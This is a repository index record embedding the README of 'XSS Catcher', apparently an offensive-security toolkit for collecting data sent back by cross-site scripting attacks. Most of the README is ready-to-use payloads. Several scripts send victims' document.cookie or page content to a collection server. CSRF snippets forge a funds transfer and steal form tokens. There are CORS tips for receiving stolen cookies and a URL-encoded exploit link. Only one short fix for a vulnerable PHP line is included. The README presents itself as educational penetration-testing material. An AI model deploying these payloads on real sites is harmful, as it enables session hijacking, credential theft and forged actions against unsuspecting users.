{"id":15374445,"url":"https://github.com/ivan-sincek/xss-catcher","last_synced_at":"2025-10-09T07:33:32.872Z","repository":{"id":107019618,"uuid":"218764886","full_name":"ivan-sincek/xss-catcher","owner":"ivan-sincek","description":"Simple API for storing all incoming XSS requests and various XSS templates.","archived":false,"fork":false,"pushed_at":"2024-07-18T18:09:35.000Z","size":149,"stargazers_count":45,"open_issues_count":0,"forks_count":8,"subscribers_count":1,"default_branch":"master","last_synced_at":"2025-04-08T09:47:49.041Z","etag":null,"topics":["api","blind-xss","bug-bounty","cors","cross-origin-resource-sharing","cross-site-request-forgery","cross-site-scripting","csrf","ethical-hacking","javascript","offensive-security","penetration-testing","php","red-team-engagement","security","web","web-penetration-testing","xss"],"latest_commit_sha":null,"homepage":"","language":"HTML","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/ivan-sincek.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null}},"created_at":"2019-10-31T12:51:01.000Z","updated_at":"2024-11-17T23:43:08.000Z","dependencies_parsed_at":null,"dependency_job_id":"c4c7f879-9c37-4b9a-a583-d9526c7738a6","html_url":"https://github.com/ivan-sincek/xss-catcher","commit_stats":{"total_commits":3,"total_committers":1,"mean_commits":3.0,"dds":0.0,"last_synced_commit":"fbcb87fdfe5b2db3c866f73a0728d791add3ab1c"},"previous_names":[],"tags_count":2,"template":false,"template_full_name":null,"purl":"pkg:github/ivan-sincek/xss-catcher","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ivan-sincek%2Fxss-catcher","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ivan-sincek%2Fxss-catcher/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ivan-sincek%2Fxss-catcher/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ivan-sincek%2Fxss-catcher/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/ivan-sincek","download_url":"https://codeload.github.com/ivan-sincek/xss-catcher/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ivan-sincek%2Fxss-catcher/sbom","scorecard":null,"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":271470221,"owners_count":24765349,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","status":"online","status_checked_at":"2025-08-21T02:00:08.990Z","response_time":74,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["api","blind-xss","bug-bounty","cors","cross-origin-resource-sharing","cross-site-request-forgery","cross-site-scripting","csrf","ethical-hacking","javascript","offensive-security","penetration-testing","php","red-team-engagement","security","web","web-penetration-testing","xss"],"created_at":"2024-10-01T13:58:48.462Z","updated_at":"2025-10-09T07:33:27.823Z","avatar_url":"https://github.com/ivan-sincek.png","language":"HTML","funding_links":[],"categories":[],"sub_categories":[],"readme":"# XSS Catcher\n\nPHP API for storing all incoming XSS requests. Also including various XSS templates.\n\nIncoming XSS request can have `data` (i.e., stolen data), `site`, `redirect`, and `info` HTTP request parameters.\n\nUse `\u003cscript src=\"https://myserver.com?redirect=xss.js\"\u003e\u003c/script\u003e` payload to both, store the incoming XSS request and execute additional JavaScript code specified in `xss.js` - where `xss.js` is equal to the relative path `./xss.js`.\n\nPlay with the given payloads and create your own, possibly shorter.\n\nTested on XAMPP for Windows v7.4.3 (64-bit) with Chrome v92.0.4515.131 (64-bit) and Firefox v90.0.2 (64-bit).\n\nMade for educational purposes. I hope it will help!\n\nFuture plans:\n\n* MQTT template.\n\n## Table of Contents\n\n* [How to Run](#how-to-run)\n* [Cross-Site Scripting (XSS)](#cross-site-scripting-xss)\n\t* [XSS Types](#xss-types)\n\t* [XSS Injections](#xss-injections)\n* [Cross-Site Request Forgery (CSRF)](#cross-site-request-forgery-csrf)\n\t* [CSRF Injections](#csrf-injections)\n\t* [CSRF Templates](#csrf-templates)\n* [Proof of Concept (XSS) - No Input Sanitization](#proof-of-concept-xss---no-input-sanitization)\n* [Images](#images)\n\n## How to Run\n\nImport [\\\\db\\\\xss_catcher.sql](https://github.com/ivan-sincek/xss-catcher/blob/master/db/xss_catcher.sql) to your database server.\n\nCopy all the content from [\\\\src\\\\](https://github.com/ivan-sincek/xss-catcher/tree/master/src) to your server's web root directory (e.g., to \\\\xampp\\\\htdocs\\\\ on XAMPP).\n\nChange the database settings inside [\\\\src\\\\php\\\\config.ini](https://github.com/ivan-sincek/xss-catcher/blob/master/src/php/config.ini) as necessary.\n\nNavigate to your database panel with your preferred web browser.\n\nYou can use [ngrok](https://ngrok.com) to give your web server a public address.\n\n---\n\nIf callback HTTP requests are being blocked, try setting the following cross-origin resource sharing \\([CORS](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS)\\) policy in your web server's configuration file; e.g., on XAMPP, edit `\\conf\\httpd.conf` from your Apache directory:\n\n```fundamental\n\u003cIfModule mod_headers.c\u003e\n\tHeader always set Access-Control-Allow-Methods \"GET, POST, OPTIONS\"\n\tHeader always set Access-Control-Allow-Headers \"Content-Type\"\n\tHeader always set Access-Control-Allow-Origin \"*\"\n\t# Header always set Access-Control-Allow-Credentials \"true\"\n\u003c/IfModule\u003e\n```\n\nHowever, using the above policy, your web server will not be receiving any HTTP cookies in the `Cookie` HTTP request header; but, you can still send them in the `data` HTTP request parameter.\n\nThe above policy is already set in [\\\\src\\\\.htaccess](https://github.com/ivan-sincek/xss-catcher/blob/master/src/.htaccess), but depending on your web server's current configuration, it might be ignored or overriden.\n\nIf you want cookies to be sent in the `Cookie` HTTP request header, keep in mind that the following CORS parameters CANNOT go together:\n\n```fundamental\nAccess-Control-Allow-Origin: *\nAccess-Control-Allow-Credentials: true\n```\n\nInstead, you will need to specify your target's domain:\n\n```fundamental\nAccess-Control-Allow-Origin: https://target.com\nAccess-Control-Allow-Credentials: true\n```\n\n## Cross-Site Scripting (XSS)\n\nUsually used to steal HTTP cookies or to modify a web page.\n\n### XSS Types\n\nThe most common type is the reflected XSS attack. It usually reflects malicious code only to the person who, e.g,. opens a malicious link.\n\nStored XSS attack is when malicious code gets stored (i.e., saved) into, e.g., a database table, file, etc. It usually reflects to every person who loads the infected table, file, etc.\n\nDOM based XSS attack reflects malicious code only to the person who, e.g., opens a malicious link; but, comapred to the reflected XSS attack, it cannot modify the HTTP response but only already loaded HTML content.\n\n### XSS Injections\n\nSimple cross-site-scripting (XSS) payloads:\n\n```xhtml\n\u003cscript\u003ealert(1)\u003c/script\u003e\n\n\u003cscript src=\"https://myserver.com?redirect=xss.js\"\u003e\u003c/script\u003e\n\n\u003cimg src=\"https://github.com/favicon.ico\" onload=\"alert(1)\"\u003e\n\n\u003cimg src=\"xxx\" onerror=\"alert(1)\"\u003e\n```\n\n**To dump the HTML content of a hidden/inaccessible web page, simply replace `document.cookie` with `document.body.innerHTML` in the below payloads.**\n\nIf your payloads are getting blocked by the [CSP](https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP), try running the `Content-Security-Policy` response HTTP header through [Google CSP validator](https://csp-evaluator.withgoogle.com), it might give you an insight into what kind of code is actually allowed.\n\n---\n\n**HTTP cookies must be missing the HttpOnly flag in order for you to steal them. SameSite flag might also prevent you from stealing them.**\n\nSteal HTTP cookies by injecting the following JavaScript code:\n\n```xhtml\n\u003cscript\u003evar xhr = new XMLHttpRequest(); xhr.open('POST', 'https://myserver.com', true); xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); xhr.send('site=' + encodeURIComponent(location.hostname + location.pathname) + '\u0026data=' + encodeURIComponent(document.cookie));\u003c/script\u003e\n\n\u003cscript\u003evar xhr = new XMLHttpRequest(); xhr.open('POST', 'https://myserver.com', true); xhr.send('{\\\"site\\\": \\\"' + encodeURIComponent(location.hostname + location.pathname) + '\\\", \\\"data\\\": \\\"' + encodeURIComponent(document.cookie) + \"\\\"}\");\u003c/script\u003e\n```\n\nFirst payload above will send an HTTP POST request to your server with user-defined parameters as a form-data. Opt for this payload whenever possible.\n\nTo send user-defined parameters as a form-data, you must add `Content-Type: application/x-www-form-urlencoded` HTTP request header.\n\nSecond payload above will send an HTTP POST request to your server with raw data encoded in JSON.\n\n---\n\nSteal HTTP cookies by injecting the following HTML code:\n\n```xhtml\n\u003cimg src=\"https://github.com/favicon.ico\" onload=\"var xhr = new XMLHttpRequest(); xhr.open('POST', 'https://myserver.com', true); xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); xhr.send('site=' + encodeURIComponent(location.hostname + location.pathname) + '\u0026data=' + encodeURIComponent(document.cookie));\" hidden=\"hidden\"\u003e\n\n\u003cimg src=\"https://github.com/favicon.ico\" onload=\"this.src = 'https://myserver.com?site=' + encodeURIComponent(location.hostname) + location.pathname + '\u0026data=' + encodeURIComponent(document.cookie);\" hidden=\"hidden\"\u003e\n```\n\nFirst payload above will send an HTTP POST request to your server with user-defined parameters as a form-data.\n\nSecond payload above will send an HTTP GET request to your server with user-defined parameters in a query string (i.e., in a URL).\n\n## Cross-Site Request Forgery (CSRF)\n\nNot necessarily used to steal HTTP cookies or to modify a web page. The goal is to just execute a forged query in the name/session/context of an already signed-in user.\n\nThe simplest way to do so, is to send a phishing email containing a link such as `https://target.com/transfer.php?recipient=eve\u0026amount=9000` (limited to HTTP GET request) to the victim or to store/hide a malicious code in either your target's website or your own website, and then send the less suspicious link.\n\n**Try to figure out what kind of data does a backend server accept before you try to forge/send anything. Is it a query string, form-data, raw data encoded in JSON, etc.?**\n\n---\n\nJavaScript:\n\n* can execute multiple HTTP requests in a row,\n* can extract data from one HTTP response and use it in another HTTP request,\n* usually gets blocked by [CORS](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS).\n\nHTML:\n\n* can execute multiple HTTP requests in a row (limited to HTTP GET request, race condition may occur),\n* ~~can extract data from one HTTP response and use it in another HTTP request,~~\n* ~~usually gets blocked by [CORS](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests).~~\n\nCSS:\n\n* can execute multiple HTTP requests in a row (limited to HTTP GET request, race condition may occur),\n* ~~can extract data from one HTTP response and use it in another HTTP request,~~\n* ~~usually gets blocked by [CORS](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests).~~\n\n### CSRF Injections\n\nPlant a forged request by injecting the following JavaScript code:\n\n```xhtml\n\u003cscript\u003evar xhr = new XMLHttpRequest(); xhr.open('POST', 'https://target.com/transfer.php', true); xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); xhr.send('recipient=eve\u0026amount=9000');\u003c/script\u003e\n```\n\nPayload above will send an HTTP POST request to a target server in the victim's name with user-defined parameters as a form-data.\n\n---\n\nPlant a forged request whilst stealing a web form token by injecting the following JavaScript code:\n\n```xhtml\n\u003cscript\u003ewindow.onload = function() { var xhr = new XMLHttpRequest(); xhr.open('POST', 'https://target.com/transfer.php', true); xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); xhr.send('recipient=eve\u0026amount=9000\u0026token=' + encodeURIComponent(document.getElementsByName('token')[0].value)); }\u003c/script\u003e\n\n\u003cscript\u003ewindow.onload = function() { var xhr = new XMLHttpRequest(); xhr.open('GET', 'https://target.com/transfer.php?recipient=eve\u0026amount=9000\u0026token=' + encodeURIComponent(document.getElementsByName('token')[0].value), true); xhr.send(); }\u003c/script\u003e\n```\n\nFirst payload above will send an HTTP POST request to a target server in the victim's name with user-defined parameters as a form-data.\n\nSecond payload above will send an HTTP GET request to a target server in the victim's name with user-defined parameters in a query string (i.e., in a URL).\n\n**To steal a web form token or any other web form data, you must wait for the web form to fully render/load. You can do that by calling the `window.onload` event.**\n\n---\n\nPlant a forged request by injecting the following HTML code:\n\n```xhtml\n\u003cimg src=\"https://target.com/transfer.php?recipient=eve\u0026amount=9000\" alt=\"csrf\" hidden=\"hidden\"\u003e\n\n\u003cimg src=\"https://github.com/favicon.ico\" alt=\"csrf\" style=\"background-image: url('https://target.com/transfer.php?recipient=eve\u0026amount=9000');\" hidden=\"hidden\"\u003e\n```\n\nBoth payloads above will send an HTTP GET request to a target server in the victim's name with user-defined parameters in a query string (i.e., in a URL).\n\n---\n\nPlant a forged request by injecting the following CSS code:\n\n```xhtml\n\u003cstyle\u003ediv { background-image: url('https://target.com/transfer.php?recipient=eve\u0026amount=9000'); }\u003c/style\u003e\n```\n\nPayload above will send an HTTP GET request to a target server in the victim's name with user-defined parameters in a query string (i.e., in a URL).\n\n### CSRF Templates\n\nCopy all the content from [\\\\templates\\\\](https://github.com/ivan-sincek/xss-catcher/tree/master/templates) to your server's web root directory (e.g., to \\\\xampp\\\\htdocs\\\\ on XAMPP).\n\nYou can also use this simple Python3 one-liner to start a local web server from a specified directory:\n\n```fundamental\npython3 -m http.server 9000 --directory somedir\n```\n\nChange the URL, HTTP method, HTTP request headers, data, etc. inside the scripts as necessary. Extend the scripts to your liking.\n\nNavigate to the templates with your preferred web browser.\n\nYou can use [ngrok](https://ngrok.com) to give your web server a public address.\n\n## Proof of Concept (XSS) - No Input Sanitization\n\nThis proof of concept shows how to steal HTTP cookies through an unsanitized HTTP request parameter.\n\nVulnerable code:\n\n```xhtml\n\u003cscript\u003evar language = '\u003c?php if (isset($_GET[\"language\"])) { echo $_GET[\"language\"]; } ?\u003e';\u003c/script\u003e\n```\n\nExpected use:\n\n```xhtml\n\u003cscript\u003evar language = 'en';\u003c/script\u003e\n```\n\nUser-supplied data:\n\n```fundamental\nen'; var xhr = new XMLHttpRequest(); xhr.open('POST', 'https://myserver.com', true); xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); xhr.send('site=' + encodeURIComponent(location.hostname + location.pathname) + '\u0026data=' + encodeURIComponent(document.cookie)); var test = '\n```\n\n**Always make sure to properly close the surrounding code.**\n\nEncode your code to the URL encoded format [here](https://www.urlencoder.org).\n\nFinal XSS request:\n\n```fundamental\nhttps://localhost/welcome.php?language=en%27%3B%20var%20xhr%20%3D%20new%20XMLHttpRequest%28%29%3B%20xhr.open%28%27POST%27%2C%20%27https%3A%2F%2Fmyserver.com%27%2C%20true%29%3B%20xhr.setRequestHeader%28%27Content-Type%27%2C%20%27application%2Fx-www-form-urlencoded%27%29%3B%20xhr.send%28%27site%3D%27%20%2B%20encodeURIComponent%28location.hostname%20%2B%20location.pathname%29%20%2B%20%27%26data%3D%27%20%2B%20encodeURIComponent%28document.cookie%29%29%3B%20var%20test%20%3D%20%27\n```\n\n\\[OPTIONAL\\] Shorten your query string (i.e., URL) with [Bitly](https://bitly.com).\n\nSolution (output escaping):\n\n```xhtml\n\u003cscript\u003evar language = '\u003c?php if (isset($_GET[\"language\"])) { echo htmlentities($_GET[\"language\"], ENT_QUOTES, \"UTF-8\"); } ?\u003e';\u003c/script\u003e\n```\n\n## Images\n\n\u003cp align=\"center\"\u003e\u003cimg src=\"https://github.com/ivan-sincek/xss-catcher/blob/master/img/db.jpg\" alt=\"Database\"\u003e\u003c/p\u003e\n\n\u003cp align=\"center\"\u003eFigure 1 - Database\u003c/p\u003e\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fivan-sincek%2Fxss-catcher","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fivan-sincek%2Fxss-catcher","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fivan-sincek%2Fxss-catcher/lists"}